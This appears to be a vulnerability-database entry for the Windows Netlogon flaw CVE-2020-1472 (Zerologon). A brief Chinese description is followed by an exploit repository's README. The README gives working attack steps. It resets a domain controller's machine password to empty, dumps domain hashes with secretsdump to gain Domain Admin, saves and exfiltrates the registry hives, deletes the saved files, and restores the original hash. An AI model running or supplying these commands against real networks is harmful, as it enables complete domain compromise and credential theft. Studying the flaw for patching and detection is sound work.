Microsoft Windows Netlogon 安全特征问题漏洞
(CVE-2020-1472)
描述：Microsoft Windows Netlogon是美国微软（Microsoft）公司的Windows的一个重要组件，主要功能是用户和机器在域内网络上的认证，以及复制数据库以进行域控备份，同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。 Microsoft Windows Netlogon 存在安全漏洞。攻击者可以使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器的易受攻击的 Netlogon 安全通道连接并进行特权提升。
描述
Exploit for zerologon cve-2020-1472
介绍
# ZeroLogon exploitation script
Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc.
To exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer. Then, do:
```
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
```
If that's successful you will then be able to:
```
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
```
which should get you Domain Admin. After you have that, wmiexec.py to the target DC with a credential from the secretsdump and do
```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
```
Then you can
```
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```
And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by
```
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
```
Reinstalling the original hash is necessary for the DC to continue to operate normally.
